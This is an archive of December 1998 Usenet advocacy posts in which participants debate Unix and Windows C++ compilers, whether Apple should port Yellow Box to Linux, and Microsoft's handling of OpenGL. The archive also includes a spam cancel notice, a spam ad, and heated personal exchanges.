Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <3671C95D.366D2F67@tone.ca> <3671fcae$0$226@nntp1.ba.best.com> <petrichF3uv7J.7w2@netcom.com> <367ff5a6.0@news.deniz.com>
Subject: Re: Really the Best Talent?
Date: Thu, 24 Dec 1998 00:38:31 -0800
Message-ID: <3681ffb3$0$9740@nntp1.ba.best.com>
It's usual story. UNIX compilers always lag behind. 5+ yeas ago I used cfront 3.0 on SUN
and it was the latest technology at the time; on PCs there were several native C++
compilers available at the same time: Zortech, Borland, VC++.
Needless to say that Visual C++ supports namespaces for over a year now. We have very
decent development tools on Windows. I guess most UNIX people still use old C
language...gee.
Boris
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <75t0il$ds5450@vaasa.vaasa.fi>
Control: cancel <75t0il$ds5450@vaasa.vaasa.fi>
Date: 24 Dec 1998 09:24:44 GMT
Organization: BOFH Space Command, Usenet Division
Message-ID: <cancel.75t0il$ds5450@vaasa.vaasa.fi>
Sender: billyo@jumbat.com
Article cancelled as EMP/ECP, exceeding a BI of 20.
The "Current Usenet spam thresholds and guidelines" FAQ is available at
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Please include the X-CosmoTraq header of this message in any correspondence
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Sick-O-Spam, Spam-B-Gon!
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: 24 Dec 98 09:30:55 GMT
Organization: P & L Systems
Message-ID: <368209cf.0@stan.astra.co.uk>
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com>
<3680e299.0@stan.astra.co.uk> <36817E0D.839DAAF9@nstar.net>
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Cc: mjpeck@nstar.net
In <36817E0D.839DAAF9@nstar.net> "Michael J. Peck" wrote:
> It's especially poignant that in 1993 NeXT dropped its hardware, pursued
> cross-platforms notions, and sold the very ideas you now fight.
>
I'm surprised that you are willing to post such a barefaced faslehood.
The case is quite the opposite: NeXT dropped the hardware to *sell* an
*operating system* to run on a number of hardware platforms. In what way is
this in related to the idea of *giving away* runtimes for a *competing
operating system*?! When NeXT, in 1996 or thenabouts, when OPENSTEP was
released, the Windows runtimes *cost* a significant amount of money -- over
$300/seat.
Now there's another clue for those that want YB/Linux: if you want to make a
sound business case, i.e. one which will earn Apple money, suggest a runtime
fee. But then I recall so many people saying that Linux folks won't pay for
software...
Set against this, of course, is the fact that Apple will be making the
runtimes for Windows free. Maybe there will come a time when there are
sufficient *commercial* software developers for Linux that Apple does want to
encourage them onto the YB platform with the promise of free runtimes. But a
general handwaving saying that there's lots of potential for freeware doesn't
cut it. You also have to factor in the likelihood that in many target
markets Linux and McOX will be competitors, and it would suit Apple better to
*sell* a copy of McOX than to *give away* runtimes to enhance the
competition.
> Historically speaking, it's difficult to see any other course forward
> for Apple. We've watched Apple shun the forward-thinking steps that
> could lead it to greatness over and over again. Unfortunately, the
> decisions are always made by bean-counters who masquerade as
> visionaries: they talk oh, so boldly in public but when it comes time to
> do something truly visionary under pressure they fold and plead, for
> their defense, that there was no "business case". Time and again, when
> the measures were inevitably implemented to still the cries of customers
> and shareholders, the complaints from observers were the same: too
> little, too late.
>
> > I'm sorry if all my posts on this subject sound anti-Linux, they're
really
> > not intended that way, as I hope the above question makes clear. I'd
love it
> > if I were wrong and Apple found a way to make YB etc available on top of
> > Linux -- it would expand the market for our apps and consulting services
--
> > however for now at least I can't see the commercial benefit for Apple,
and
> > without that I can't see it happening. Indeed, as I think Colin
suggested
> > elsewhere, in many respects McOX and Linux can be regarded as
competitors...
>
> It's not Linux you're against, it's a change in the way you, and
> everyone else, would have to look at the future. Linux is part of that.
> How interesting that former visionaries can never embrace new visions.
>
This is just plain offensive. How many times do I have to repeat that my
"objection" is solely based on the point that whatever plans there might be
for YB/Linux would have to depend on there being adequate recompense for
Apple for the effort and expense of producing it? What part of that don't
you understand?
What's ironic is that for far I seem to be about the only person who's come
up with a sensible business proposition for YB/Linux -- based on WebObjects.
I'm having to argue both sides of the case because some other folks seem to
lack vision.
And as if ex-NeXT folk haven't had enough new visions to embrace simply with
the Apple acquisition.
> It's as if they've been inoculated, and can never again be touched by
> the fever of change. Or maybe it's just that you were willing to embrace
> change when you had nothing to lose; now, lulled by the illusory
> security of NeXT's position within Apple, you move so cautiously and so
> slowly. A comfortable seat on a slow train to obscurity.
>
Oh, I see. MJP has run out of arguments and so just wants to start another
ad hominem tirade. Sorry, I'm not going to play that game.
mmalc.
From: arehartj@schultz.io.com (Jonathan Arehart)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: The real cause of PC victory
Date: 24 Dec 1998 11:14:39 GMT
Organization: Illuminati Online
Message-ID: <slrn7848h4.lhc.arehartj@schultz.io.com>
References: <364295A3.ABE8C927@earthlink.net> <adtF2K0yo.K7D@netcom.com> <atticus-1711982007150001@user-38lcbh2.dialup.mindspring.com> <3659BB98.F4529E3C@spamtoNull.com> <73ctj7$ik0$1@nnrp1.dejanews.com> <rbarris-ya023280002311981637350001@206.82.216.1> <365B10DD.43341843@spamtoNull.com> <19981124181652165544@ts1-13.aug.com> <365B5B6B.CF42B4BB@gamewood.net> <366C1257.470882A1@klassy.com> <3682B7E2.C36D8DB7@ix.netcom.com>
NNTP-Posting-Date: 24 Dec 1998 11:14:39 GMT
On Thu, 24 Dec 1998 15:53:38 -0600, Z1159 <z1159@ix.netcom.com> wrote:
[ historical debate snipped and ignored :) ]
: intro,so only trendies,art faegs,and dyslexics bought them for home use.
"art faegs"?
Jonathan Arehart
arehartj@io.com
From: gericom@usa.net
Newsgroups: comp.sys.next.advocacy
Subject: The Interactive Dance Compilation you can play and Mix on your PC!! 8947
Date: 24 Dec 1998 12:19:20 GMT
Organization: Centro Servizi Interbusiness
Message-ID: <75tbg8$gjq$2179@fe2.cs.interbusiness.it>
The Interactive Dance Compilation you can play and Mix on your PC!!
The best dance hits of '90 and 98 together in Discoparade
the first double compilation that you can play and Mix !
Discoparade is the one and only interactive compilation !
http://www.discoparade.com/
http://www.discoparade.com/
ywodruwewiyikxuzerwwbnvrdhwxunwdltshjelkohei
From: Matthias Buelow <mkb@altair.mayn.de>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Really the Best Talent?
Date: 24 Dec 1998 18:33:47 +0100
Organization: GeFoekoM e.V. Wuerzburg
Message-ID: <87lnjxxx50.fsf@altair.mayn.de>
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <3671C95D.366D2F67@tone.ca> <3671fcae$0$226@nntp1.ba.best.com> <petrichF3uv7J.7w2@netcom.com> <367ff5a6.0@news.deniz.com> <3681ffb3$0$9740@nntp1.ba.best.com>
"Boris" <borisspamno@pleasemovil.com> writes:
> It's usual story. UNIX compilers always lag behind. 5+ yeas ago I used cfront 3.0 on SUN
> and it was the latest technology at the time; on PCs there were several native C++
> compilers available at the same time: Zortech, Borland, VC++.
In the case you don't know, cfront is the reference C++ translator
implementation from Bjarne Stroustroup. I doubt if Zortech/Borelame/M$
compilers were more up-to-date language-wise than the reference
implementation.
> decent development tools on Windows. I guess most UNIX people still use old C
> language...gee.
Yeah, hopefully. C++ is an abomination.
--
``Round about the terminal go; / In the poisoned upgrade throw.
Code, which by a student done / In minutes numbering sixty-one.
Run-time error, protection fault / Crash ye first, crash ye shalt.''
(The Oracle, MacBeth95)
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: 25 Dec 1998 18:15:43 GMT
Organization: Primenet (602)416-7000
Message-ID: <760kof$dlk$1@nnrp03.primenet.com>
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk> <36817E0D.839DAAF9@nstar.net> <ch3-2312981958330001@1cust46.tnt6.redmond.wa.da.uu.net>
<75u940$7ib$1@nnrp1.dejanews.com> <ch3-2412981349460001@1cust24.tnt2.redmond.wa.da.uu.net> <75ugft$4h8$1@nnrp02.primenet.com> <ch3-2412981540450001@1cust114.tnt1.redmond.wa.da.uu.net> <75upqa$47f$1@nnrp03.primenet.com> <75vd7j$25r$1@nnrp1.dejanews.com>
Michael.Peck@ericsson.com wrote:
: In article <75upqa$47f$1@nnrp03.primenet.com>,
: John Jensen <jjens@primenet.com> wrote:
: > c hand <ch3@earthlink.net.rem.ove.this> wrote:
: > Does this strongly stated opposition make the JDK, Netscape Navigator, and
: > RealAudio any less popular?
: >
: > A few tidbits:
: [cut]
: Unfortunately, this probably does nothing more than further entrench Colin's
: view that Linux is a competitor *and* that it must be fought. [...]
I think these, and other, tidbits show Linux as a force. So is Apple.
Time magazine put them both in their year-end technology top ten. I think
Apple got First and Linux got something like Sixth. The iMac is leading
Apple on a retail revival, while Linux is booming on a more behind the
scenes techno level.
I think it's pretty much up to Apple whether Linux ends up as a competetor
or an ally. Linux is part of the landscape now. Apple will decide if it
is hostile or friendly territory and take their actions accordingly.
I'm sure if Apple continues to say "we like Linux", some portion of the
Linux community (one can hardly speak for the whole thing) will respond
with "we like Apple".
If Apple says "you suck", I'm sure many will say "you suck" right back at
'em.
John
From: Mike Paquette <mpaque@ncal.verio.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple-M$: Linux Nightmare?
Date: Thu, 24 Dec 1998 10:16:41 -0800
Organization: Electronics Service Unit No. 16
Message-ID: <36828506.AB58E282@ncal.verio.com>
References: <4CAA1839629CF88D.AAFA9FDB35C523FE.F1648BCC49C891AD@library-proxy.airnews.net> <ch3-1912981645150001@1cust46.tnt5.redmond.wa.da.uu.net> <355DF295B319F59B.94E11DFE49E8C514.F842B310545BE6E5@library-proxy.airnews.net> <367F87E9.C4810AE3@wasp.co.za>
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Richard Parsons wrote:
> What happenened to OpenGL32, Open32 and all those API's that M$ *SAID* they
> would support?
Pretty much what you would expect. Microsoft delivered a version of
OpenGL, which worked well enough to run a couple of 3D screensavers.
Microsoft then put a much larger development effort behind Direct3D.
Game developers in particular were targeted, with the message "Here's
OpenGL, and here's Direct3D. We're putting all our efforts, performance
work in particular, behind Direct3D." Guess which one they tended to choose...
Within the Microsoft programming community, OpenGL acquired the
reputation of being slow and relatively unsupported. (I suspect that was
Microsoft Marketing's intent). Of course, that was Microsoft's
implementation that sucked.
The good news is that OpenGL was packaged as a nice, tidy DLL (well, 2
DLLs) that could easily be replaced by third parties, resulting in the
possibility of much better performance. I bet Microsoft won't make that
mistake again!
Date: Thu, 24 Dec 1998 10:33:47 -0800
From: stevehix@safemail.com (Steve Hix)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: The real cause of PC victory
Message-ID: <stevehix-2412981033470001@192.168.1.10>
References: <364295A3.ABE8C927@earthlink.net> <adtF2K0yo.K7D@netcom.com> <atticus-1711982007150001@user-38lcbh2.dialup.mindspring.com> <3659BB98.F4529E3C@spamtoNull.com> <73ctj7$ik0$1@nnrp1.dejanews.com> <rbarris-ya023280002311981637350001@206.82.216.1> <365B10DD.43341843@spamtoNull.com> <19981124181652165544@ts1-13.aug.com> <365B5B6B.CF42B4BB@gamewood.net> <366C1257.470882A1@klassy.com> <3682B7E2.C36D8DB7@ix.netcom.com>
Organization: Close to None
In article <3682B7E2.C36D8DB7@ix.netcom.com>, Z1159 <z1159@ix.netcom.com> wrote:
> The Mac was overpriced as hell until sometime between the release of
> System 7 and the Power Mac intro,so only trendies,art faegs,and
> dyslexics bought them for home use.
Riiiight. ("art faegs"??)
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: 25 Dec 1998 18:35:37 GMT
Organization: AOL http://www.aol.com
References: <760kof$dlk$1@nnrp03.primenet.com>
Message-ID: <19981225133537.00853.00001612@ng-fi1.aol.com>
As I've noted in the past here, there's already an available Mac OS emulator
for Linux, ARDI's Executor <www.ardi.com> which has pretty minimal effect on
Apple sales since it isn't 100% compatible (though it is very compatible,
enough for a lot of people to find it useful, and amazingly so to my mind since
it's a clean room implementation).
The other consideration here is that there is a GNU project to recreate the
Yellow Box environment, GNUstep <www.gnustep.org>
Executor is clearly a competitor--but GNUstep could either be a competitor
(alternative YB development environment) or benefit (free Linux runtime for YB
projects not requiring the engineering resources which the Windows runtime
does).
Apple bundling GNUstep on their Linux box would be a truly different step, but
not one I find likely unfortunately.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: r.e.ballard@usa.net
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Really the Best Talent?
Date: Thu, 24 Dec 1998 18:53:57 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <75u2k4$2gr$1@nnrp1.dejanews.com>
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <3671C95D.366D2F67@tone.ca> <3671fcae$0$226@nntp1.ba.best.com> <petrichF3uv7J.7w2@netcom.com> <367ff5a6.0@news.deniz.com> <_QZf2.665$fM1.20387@ptah.visi.com>
In article <_QZf2.665$fM1.20387@ptah.visi.com>,
bhurt@visi.com (Brian Hurt) wrote:
> "Todd Bandrowsky" <tbandrowsky@del.net> writes:
>
> >>So why was a loose
> >>community of volunteers able to do what (supposedly) the world's best
> >>programming talent was unable to do?
>
> >Uhhm, If Linux is so great, how come G++ template support basically sucks
> >and there is no namespaces? But I guess standards don't matter to the Unix
> >community..
>
> Because the GCC maintainers didn't feel like breaking everyone's
> programs every time the C++ standards committee changed it's mind (which
> was a lot). This is a problem with the standards committee, not the GCC
> maintainers.
This is also why TCP/IP and the "Internet" are the global standards for
network telecommunications instead of OSI. The OSI people added so many
optional extensions that the entire standard could not be implemented.
With the Internet, only standards that had actually been implemented in
publicly available source code (BSD or GPL) has really survived.
There has been concern that similar "extension chaos" would corrupt
CORBA and XML, but with GNOME and other GPL products providing "baselines",
vendors corrupt the "de-facto" baselines at their own risk. I was recently
at a CORBA class learning who to write ORBIX classes that were truly
portable. If it can't talk to/be implemented MICO, it's only a "nice idea".
> Brian
--
Rex Ballard - Open Source Advocate, Internet Architect, MIS Director
http://www.open4success.com
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: brlewis@my-dejanews.com
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Date: Thu, 24 Dec 1998 18:49:23 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <75u2bj$265$1@nnrp1.dejanews.com>
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <3671C95D.366D2F67@tone.ca> <3671fcae$0$226@nntp1.ba.best.com> <jpolaski-1212980213230001@d149-109.ce.mediaone.net> <6%qc2.20198$q15.460161@news.san.rr.com> <75sqjh$ucn@news.dns.microsoft.com>
In article <75sqjh$ucn@news.dns.microsoft.com>,
"LA Bruin" <labruin@null.com> wrote:
> Y'know Ed? If MS-brand coffee makes me more productive, somehow integrates
> with my breakfast better, helps me develop better products, and is
> competitively priced... bring on the friggin' MS-brand coffee.
Top five reasons why Microsoft will never dominate the coffee business:
(5) Standards for coffee filters are too well established to de-commoditize
them.
(4) There's no Ctrl-Alt-Delete sequence to clean up after coffee explodes.
(3) Preannouncements of how much better their coffee will taste in the next
release don't affect sales.
(2) Non-coffee-drinking upper-level managers don't choose what brand their
employees drink based on marketing hype.
And finally,
(1) The cargo ship carrying MS-brand coffee had to be towed back to port due
to a software glitch.
Merry Christmas everyone!
--
http://web.mit.edu/brlewis/www/
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: Michael.Peck@ericsson.com
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: Thu, 24 Dec 1998 20:37:10 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <75u8ln$75u$1@nnrp1.dejanews.com>
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk> <3681729D.6F3AFB05@nstar.net> <36817c66.0@stan.astra.co.uk>
In article <36817c66.0@stan.astra.co.uk>,
mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> And of such stuff is debates made. So...?
No, mmalcolm. Of such stuff pointless fights are made. You've insisted on
reducing what could be open discussion to raw skepticism and "prove it to me"
debate tactics. The problem is that once someone has so turned off their mind
to an idea, all that can be left is frustration and outrage on both sides.
You've obviously made up your mind before consideration can be made.
You're not the only one who's made a premature decision, but I'm not the only
one with this idea. I'm probably not the only one left willing to discuss
this matter, even with you, but my interest has fallen off rapidly. I have a
younger brother who's given to such tactics when facts and logic escape him;
it quickly becomes apparent that he made up his mind before discussion ever
began. Every time one presents a new argument it is met with the same old
arguments: you can't prove it to me, so discussion is pointless.
> Business case != proof.
Silly me. Even that wouldn't suffice, of course.
> I really don't see your point about "refuges".
Then let me make it painfully clear, mmalcolm, at the risk of offending
overmuch. You have plainly abdicated all semblance of reasonable discussion
on the subject, yet persist in posting. Rather than simply saying, "There's
too much uncertainty, I won't even consider the idea," which would at least
admit the propriety of third-party discussion, you can't seem to quit your
fervent *denial* of the Linux-YB notion. Like Sal Denaro, you've got a clear
mindset that won't admit argument and you'll post whatever's most convenient
to get that point across.
Well, mmalcolm, the point is crystal-clear. It does not flatter you.
> I've said that I'd love to
> see YB on Linux, but I don't see the business case for Apple at this stage.
> What's the problem with that? I'm not bothered if it's my first, last or
> only refuge, it remains a valid point
It remains a valid point that *YOU* don't see the business case? Valid,
perhaps, but hardly significant. Again, at the risk of offending: your
opinion on the matters means very little to me or any of the other people
advocating the Linux-YB measure. I should hope that *my* opinion, likewise,
means very little, and that my arguments for Linux-YB would instead give
persuasive counsel. If argument were met by argument, *that* would be a
discussion. Instead, it is frank argument versus staunch opinion, which has
thus far yielded little profitable debate. Would you agree?
It is as frustrating as debating dinnertime with a 2-year-old. The toddler
doesn't want spinach, and by God he isn't going to eat it. No matter what I
say about the nutritional benefits of spinach, the necessity to eat what
Mummy's ooked, etc., that little toddler's not going to eat the damned
spinach. Why? It just doesn't taste right.
Well, you're probably not the only man who makes "business" decisions based on
how they taste in your mouth.
> -- indeed it's probably about the only
> metric by which the subject should be measured, since it's presumably the one
> Apple will use to decide if the project would be worthwhile or not.
Metric? How laughable. I would love to know how you could possibly put such a
metric to use. Of all people in this forum, I went to the trouble of actually
discussing the aspects of such a business case in some detail when I last
butted heads with Chuck Swiger.
And you? What do you know of this "metric"? Where have you posted *anything*
about the "business case" except that "you don't see it", over and over again?
Please, you betray yourself, mmalcolm. And you insult me.
> Even without intimate knowledge of Apple's finances it's readily possible to
> see where money might be made, and no-one has yet presented a case for
> YB/Linux which looks set to make Apple a profit. Well, except that I helped
> Tai by suggesting that a port of WebObjects might be a reasonable starting
> point if anything would be.
Starting point? What? WebObjects is *based* on YB. If you ported WebObjects
you'd have to port YB *first*. At least, I assumed so because that's the
justification Colin Hand is continually using to prop up the existence and
longevity of YB itself.
> > It's especially poignant that in 1993 NeXT dropped its hardware, pursued
> > cross-platforms notions, and
> >
> And...?
And the post was sent prematurely. I'm posting this from DejaNews, where the
Cancel message is listed right above your reply. Unfortunate that I didn't
cancel quickly enough. The full version of the original message should reach
your news-server in due time.
MJP
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: Michael.Peck@ericsson.com
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: Thu, 24 Dec 1998 20:44:48 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <75u940$7ib$1@nnrp1.dejanews.com>
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk> <36817E0D.839DAAF9@nstar.net> <ch3-2312981958330001@1cust46.tnt6.redmond.wa.da.uu.net>
In article <ch3-2312981958330001@1cust46.tnt6.redmond.wa.da.uu.net>,
ch3@earthlink.net.rem.ove.this (c hand) wrote:
> Michael, you can post long emotion-filled gutwrenching pleas for Apple
> to convert to the Linux religion,
And you could use the word "religion" to stall reasonable discussion and
insult your opponents. Ooops, you already did.
> but the fact is that *no one* has
> ever presented a sound business reason for doing so.
Apple could make money by gaining new customers and developers. There, never
again make that stupid-as-my-ass complaint again, Colin. I *have* presented a
sound business reason for it, and this posting is not the first time.
> OTOH, several
> of the ex-NeXT crowd that you criticize have created a Open Source
> proposal that makes much more sense for ALL parties involved. Claiming
> that ex-NeXTers are somehow unwilling to seek out new ideas or change to
> meet new challenges is ridiculous and insulting.
Well, you're welcome to receive the insult as such. At this point I'm
particularly piqued and don't care much for propriety. For the sake of our
past discussions I've watched you post over and over again with weak
argumentative words that do you no credit. Yet I've not replied because I saw
no point in causing trouble. Now I've got to be the target of such
machinations and I don't like it one bit.
> Unfortunately for
> many of the so-called "forward-thinking" Linux advocates, OpenMach
> doesn't include you. But on a straight business case scenarios, it
> makes a hell of a lot more sense. On technical merit, it makes a
> hell of a lot more sense. On tangible benefits to the respective
> parties, it makes a hell of a lot more sense. So don't claim that
> we are unwilling to grasp the opportunities presented. Many of us
> simply believe there are more elegant, innovative, and beneficial
> solutions out there. These solutions tend to put Apple and it's
> developers above the sanctity of Linux. I'm sorry if you don't see
> the reason why.
I see the reasons just fine, Colin.
Us And Them
And after all we're only ordinary men
Me, and you
God only knows it's not what we would choose to do
Forward he cried from the rear
and the front ranks died
And the General sat, and the lines on the map
moved from side to side
Black and Blue
And who knows which is which and who is who
Up and Down
And in the end it's only round and round and round
Haven't you heard, it's a battle of words
the poster bearer cried
Listen son, said the man with the gun
There's room for you inside
Down and Out
It can't be helped but there's a lot of it about
With, without
And who'll deny that's what the fighting's all about
Get out of the way, it's a busy day
And I've got things on my mind
For want of the price of tea and a slice
The old man died
MJP
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: tzs@halcyon.com (Tim Smith)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: 24 Dec 1998 12:45:01 -0800
Organization: Archimedes Plutonium Grepping Society
Message-ID: <75u94d$1rg$1@52-a-usw.rb1.blv.nwnexus.net>
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk>
Cache-Post-Path: 52-a-usw.rb1.blv.nwnexus.net!tzs@localhost
mmalcolm crawford <malcolm@plsys.co.uk> wrote:
>So I'm again left looking for the business case for Apple to put this on top
>of Linux...?
The business case is that it lets Apple get out of the OS market, where they
are not very strong technically (MacOS (the OS part, not the GUI part) is
technically inferior to Linux, *BSD, BeOS, Windows NT, Windows 95, OS/2,
and QNX).
Before Linux and the free BSD's, it may have been necessary for Apple to
have their own OS to run their GUI on, because running on top of another
OS would mean having to license that OS, and being at the mercy of its
owner, but with Linux, they don't have to worry about that.
--Tim Smith
From: cjt&trefoil <cheljuba@prodigy.net>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Registry Synchronization?
Date: Fri, 25 Dec 1998 15:09:57 -0600
Organization: Prodigy Services Corp
Message-ID: <3683FF25.7DFE@prodigy.net>
References: <36717987.21076075@news2.asan.com> <petrichF3z4KB.8uM@netcom.com> <KgAd2.393$eB2.831@news14.ispnews.com> <petrichF410LM.B7t@netcom.com> <petrichF4161I.KDB@netcom.com> <367ff6be.0@news.deniz.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Todd Bandrowsky wrote:
<snip>
> I should say
> that the Registry is actually more stable if you take the whole NTFS plunge.
That in itself is pretty scary, IMHO.
From: Michael.Peck@ericsson.com
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: Thu, 24 Dec 1998 21:02:34 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <75ua59$88j$1@nnrp1.dejanews.com>
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk> <36817E0D.839DAAF9@nstar.net> <368209cf.0@stan.astra.co.uk>
In article <368209cf.0@stan.astra.co.uk>,
mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> I'm surprised that you are willing to post such a barefaced faslehood.
> The case is quite the opposite: NeXT dropped the hardware to *sell* an
> *operating system* to run on a number of hardware platforms.
I'm a liar, and then you tell me that OPENSTEP didn't run atop Windows NT? Do
I really have to bow my head to such filth from you, mmalcolm? Honestly,
you've gone too far.
> In what way is
> this in related to the idea of *giving away* runtimes for a *competing
> operating system*?! When NeXT, in 1996 or thenabouts, when OPENSTEP was
> released, the Windows runtimes *cost* a significant amount of money -- over
> $300/seat.
And I should like to ask when I suggested that Apple *must* give away
runtimes? Think back, mmalcolm, to...December 9. Erik Buck posted a proposal
which involved 3rd party funding (including his own) to spur a Linux port of
YB. Did you happen to read my reply?
<quote>
> I will be customer #1. I would pay as much as
> OPENSTEP for Windows NT costs.
</quote>
> Now there's another clue for those that want YB/Linux: if you want to make a
> sound business case, i.e. one which will earn Apple money, suggest a runtime
> fee. But then I recall so many people saying that Linux folks won't pay for
> software...
Well, I guess I'm not a "Linux folks", am I, then? What am I? You, apparently,
know the answer to that quite assuredly.
> Set against this, of course, is the fact that Apple will be making the
> runtimes for Windows free.
I was wondering about that. So, here I am, I'm setting that against your
arguments, and I can't come up with any reasonable conclusions about your
logic. Would you care to fill in the blanks?
> Maybe there will come a time when there are
> sufficient *commercial* software developers for Linux that Apple does want to
> encourage them onto the YB platform with the promise of free runtimes. But a
> general handwaving saying that there's lots of potential for freeware doesn't
> cut it. You also have to factor in the likelihood that in many target
> markets Linux and McOX will be competitors, and it would suit Apple better to
> *sell* a copy of McOX than to *give away* runtimes to enhance the
> competition.
Except, of course, where Apple *cannot* sell MacOS X because people won't buy
it. But this is what you dare not contemplate, and thus the reason you cannot
accept YB for Linux. Somehow you have set up Linux and MacOS X as competitors
where Windows NT and MacOS X are not. I'm mystified by that distinction.
> > It's not Linux you're against, it's a change in the way you, and
> > everyone else, would have to look at the future. Linux is part of that.
> > How interesting that former visionaries can never embrace new visions.
> >
> This is just plain offensive.
Good. I'm glad I'm not the only one. Reciprocity has its uses.
> How many times do I have to repeat that my
> "objection" is solely based on the point that whatever plans there might be
> for YB/Linux would have to depend on there being adequate recompense for
> Apple for the effort and expense of producing it? What part of that don't
> you understand?
What part of that have you taken but a few moments to justify? You seem to
believe that it's entirely sufficient to post your opinion and let it stand on
its own. It's not. I see every reason for Apple to port YB to Linux, and every
reason to believe that Apple would be justly compensated for its
(minimal) effort. The fact that it escapes you mystifies me.
> What's ironic is that for far I seem to be about the only person who's come
> up with a sensible business proposition for YB/Linux -- based on WebObjects.
> I'm having to argue both sides of the case because some other folks seem to
> lack vision.
Well, you flatter yourself too much, truly.
> And as if ex-NeXT folk haven't had enough new visions to embrace simply with
> the Apple acquisition.
Oh, dear. You truly flatter yourself too much. I should say rather that MacOS
people have had to put up with the NeXTers, than the other way 'round.
> Oh, I see. MJP has run out of arguments and so just wants to start another
> ad hominem tirade. Sorry, I'm not going to play that game.
It's better that you don't. I'm playing the DejaNews prophet at this point,
which is your signal to turn tail and do exactly as I proposed. I've great
confidence that you will, indeed. Someday it will make wonderful party talk to
say that I predicted the Apple-NeXT demise because of its acolytes' folly, and
it will be of great satisfaction to have DejaNews to back me up.
MJP
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: tzs@halcyon.com (Tim Smith)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: 24 Dec 1998 12:58:05 -0800
Organization: Archimedes Plutonium Grepping Society
